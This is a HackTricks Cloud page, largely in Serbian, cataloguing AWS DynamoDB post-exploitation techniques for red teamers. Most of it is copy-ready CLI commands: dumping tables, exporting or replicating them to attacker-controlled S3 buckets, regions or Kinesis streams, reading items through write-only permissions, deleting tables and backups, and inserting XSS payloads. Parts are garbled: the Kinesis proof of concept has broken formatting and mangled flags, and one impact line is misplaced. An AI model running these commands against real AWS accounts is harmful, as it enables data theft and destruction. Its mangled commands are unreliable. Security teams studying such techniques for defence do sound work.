AWS - DynamoDB Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
DynamoDB
Za više informacija pogledajte:
dynamodb:BatchGetItem
Napadač sa ovim dozvolama će moći da dohvati stavke iz tabela po primarnom ključu (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti preuzimanjem metapodataka tabele (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Potencijalni uticaj: Indirektni privesc kroz pronalaženje osetljivih informacija u tabeli
dynamodb:GetItem
Slično prethodnim dozvolama ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo 1 tabele ako poseduje primarni ključ unosa koji želi da preuzme:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Sa ovom dozvolom moguće je koristiti i metod transact-get-items na sledeći način:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Mogući uticaj: Indirect privesc pronalaženjem osetljivih informacija u tabeli
dynamodb:Query
Slično prethodnim dozvolama ova omogućava potencijalnom napadaču da pročita vrednosti iz samo 1 tabele ako zna primarni ključ stavke koju želi da dobije. Dozvoljava upotrebu podskupa poređenja, ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora da se navede) je “EQ”, tako da ne možete koristiti poređenje da dohvatite celu bazu podataka u jednom zahtevu.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Potencijalni uticaj: Indirect privesc lociranjem osetljivih informacija u tabeli
dynamodb:Scan
Možete koristiti ovu dozvolu da dump the entire table easily.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Potential Impact: Indirektan privesc pronalaženjem osetljivih informacija u tabeli
dynamodb:PartiQLSelect
Možete koristiti ovu dozvolu da dump the entire table easily.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Ovo dopuštenje takođe omogućava izvršavanje batch-execute-statement kao:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
ali morate da navedete primary key sa vrednošću, pa nije baš toliko korisno.
Potential Impact: Indirektni privesc pronalaženjem osetljivih informacija u tabeli
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Ova dozvola će omogućiti napadaču da eksportuje celu tabelu u S3 bucket po sopstvenom izboru:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Imajte na umu da bi ovo radilo — tabela mora imati omogućenu point-in-time-recovery. Možete proveriti da li tabela to ima pomoću:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Ako nije omogućen, moraćete da ga omogućite i za to vam je potrebna dynamodb:ExportTableToPointInTime dozvola:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Potencijalni uticaj: Indirect privesc pronalaskom osetljivih informacija u tabeli
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Sa ovim dozvolama, napadač bi mogao kreirati novu tabelu iz backup-a (ili čak napraviti backup da bi ga zatim vratio u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi proveriti informacije iz backup-ova koje više ne bi bile u production tabeli.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Mogući uticaj: Indirektni privesc pronalaženjem osetljivih informacija u backup-u tabele
dynamodb:PutItem
Ovo dopuštenje omogućava korisnicima da dodaju novu stavku u tabelu ili zamene postojeću stavku novom stavkom. Ako stavka sa istim primarnim ključem već postoji, čitava stavka će biti zamenjena novom stavkom. Ako primarni ključ ne postoji, biće kreirana nova stavka sa navedenim primarnim ključem.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Potencijalni uticaj: Iskorišćavanje dodatnih ranjivosti/bypasses omogućavanjem dodavanja/izmene podataka u DynamoDB tabeli
dynamodb:UpdateItem
Ova dozvola omogućava korisnicima da izmenjuju postojeće atribute stavke ili dodaju nove atribute stavci. Ona ne zamenjuje celu stavku; ažurira samo navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će kreirati novu stavku sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Potencijalni uticaj: Iskorišćavanje daljih vulnerabilities/bypasses omogućeno mogućnošću dodavanja/izmene podataka u DynamoDB tabeli
dynamodb:DeleteTable
Napadač sa ovom dozvolom može izbrisati DynamoDB tabelu, što dovodi do gubitka podataka.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potencijalni uticaj: Gubitak podataka i prekid rada servisa koji zavise od obrisane tabele.
dynamodb:DeleteBackup
Napadač sa ovom dozvolom može obrisati DynamoDB rezervnu kopiju, što može dovesti do gubitka podataka u slučaju scenarija oporavka od katastrofe.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Mogući uticaj: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
Note
TODO: Proveriti da li ovo zaista radi
Napadač sa ovim permisijama može omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne da emituje izmene, i zatim pristupiti streamu da bi pratio izmene tabele u realnom vremenu. Ovo omogućava napadaču da nadgleda i exfiltrate promene podataka, što potencijalno može dovesti do data leakage.
- Omogućite stream na DynamoDB tabeli:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Opišite stream da biste dobili ARN i ostale detalje:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Dohvatite shard iterator koristeći stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Koristite shard iterator da pristupite i exfiltrate podatke iz streama:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potential impact: Praćenje u realnom vremenu i curenje podataka o izmenama u DynamoDB tabeli.
Čitanje stavki putem dynamodb:UpdateItem i ReturnValues=ALL_OLD
Napadač koji ima samo permisiju dynamodb:UpdateItem na tabeli može čitati stavke bez uobičajenih read dozvola (GetItem/Query/Scan) tako što izvrši benignu izmenu i zatraži --return-values ALL_OLD. DynamoDB će vratiti kompletnu sliku stavke pre izmene u polju Attributes u odgovoru (ovo ne troši RCUs).
- Minimum permissions:
dynamodb:UpdateItemna ciljnoj tabeli/ključu. - Prerequisites: Morate znati primarni ključ stavke.
Example (dodaje bezopasni atribut i exfiltrates prethodnu stavku u odgovoru):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
CLI odgovor će uključiti blok Attributes koji sadrži kompletan prethodni item (sve atribute), efektivno pružajući read primitive iz write-only pristupa.
Potencijalni uticaj: Čitanje proizvoljnih item-a iz tabele sa samo write dozvolama, omogućavajući sensitive data exfiltration kada su poznati primary keys.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Stealth exfiltration dodavanjem nove replica Region u DynamoDB Global Table (version 2019.11.21). Ako principal može dodati regionalnu repliku, cela tabela se replicira u attacker-chosen Region, iz kojeg attacker može pročitati sve item-e.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Dozvole: dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Potencijalni uticaj: Replikacija cele tabele u regiju koju kontroliše napadač, što vodi do prikrivene eksfiltracije podataka.
dynamodb:TransactWriteItems (čitаnje putem neuspelog uslova + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Napadač sa privilegijama za transakcijsko pisanje može eksfiltrirati sve atribute postojeće stavke izvršavanjem Update unutar TransactWriteItems koji namerno izaziva neuspeh ConditionExpression dok postavlja ReturnValuesOnConditionCheckFailure=ALL_OLD. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, što efektivno pretvara pristup samo za pisanje u pristup za čitanje ciljanih ključeva.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Permissions: dynamodb:TransactWriteItems on the target table (and the underlying item). No read permissions are required.
Potential Impact: Čitanje proizvoljnih stavki (po primarnom ključu) iz tabele koristeći samo transakcione privilegije za pisanje preko vraćenih razloga otkazivanja.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query na GSI
Zaobiđite ograničenja čitanja kreiranjem Global Secondary Index (GSI) sa ProjectionType=ALL na atributu niske entropije, postavite taj atribut na konstantnu vrednost za sve stavke, zatim izvršite Query na indeksu da biste dohvatili pune stavke. Ovo funkcioniše čak i ako su Query/Scan na osnovnoj tabeli odbijeni, sve dok možete izvršiti upit nad ARN indeksa.
- Minimalne dozvole:
dynamodb:UpdateTableon the target table (to create the GSI withProjectionType=ALL).dynamodb:UpdateItemon the target table keys (to set the indexed attribute on each item).dynamodb:Queryon the index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Koraci (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Potencijalni uticaj: Potpuna exfiltration cele tabele upitom na novo kreirani GSI koji projicira sve atribute, čak i kada su base table read APIs onemogućene.
dynamodb:EnableKinesisStreamingDestination (Kontinuirana exfiltration putem Kinesis Data Streams)
Zloupotreba DynamoDB Kinesis streaming destinations za kontinuiranu exfiltration promena iz tabele u Kinesis Data Stream pod kontrolom napadača. Kada se omogući, svaki INSERT/MODIFY/REMOVE event se prosleđuje skoro u realnom vremenu u stream bez potrebe za read permissions na tabeli.
Minimalne dozvole (napadač):
dynamodb:EnableKinesisStreamingDestinationna ciljnoj tabeli- Opcionalno
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTableza praćenje statusa - Dozvole za čitanje na Kinesis stream-u u vlasništvu napadača za konzumiranje zapisa:
kinesis:*
PoC (us-east-1)
```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}2) Create attacker Kinesis Data Stream
aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1
3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text)
aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1
Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus
4) Generate changes on the table
aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1
/tmp/htx_item2.json
{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}
aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1
/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}
5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text)
IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text)
aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json
Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .
6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true
aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true
aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true
### `dynamodb:UpdateTimeToLive`
Napadač koji ima dozvolu dynamodb:UpdateTimeToLive može da promeni TTL (time-to-live) konfiguraciju tabele — uključi ili isključi TTL. Kada je TTL uključen, pojedinačne stavke koje sadrže konfigurisani TTL atribut biće automatski obrisane kada njihov rok isteka bude dostignut. Vrednost TTL-a je samo još jedan atribut na svakoj stavci; stavke bez tog atributa nisu pogođene brisanjem na osnovu TTL-a.
Ako stavke već ne sadrže TTL atribut, napadaču bi takođe bila potrebna dozvola koja ažurira stavke (na primer dynamodb:UpdateItem) da doda TTL atribut i pokrene masovna brisanja.
Prvo uključite TTL na tabeli, navodeći ime atributa koje će se koristiti za isteka:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Zatim ažurirajte stavke i dodajte atribut TTL (epoch seconds) tako da isteknu i budu uklonjene:
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Napadač koji ima dozvole dynamodb:RestoreTableFromAwsBackup ili dynamodb:RestoreTableToPointInTime može da kreira nove tabele vraćene iz backups ili iz point-in-time recovery (PITR) bez prepisivanja originalne tabele. Vraćena tabela sadrži kompletnu sliku podataka u izabranom trenutku, pa je napadač može iskoristiti da exfiltrate historical information ili da dobije kompletan dump prethodnog stanja baze podataka.
Vraćanje DynamoDB tabele iz on-demand backup-a:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Vratite DynamoDB tabelu na tačku u vremenu (kreirajte novu tabelu sa vraćenim stanjem):
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Potencijalni uticaj: Kontinuirana, gotovo u realnom vremenu exfiltration promena tabele ka attacker-controlled Kinesis stream bez direktnih read operations na tabeli.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

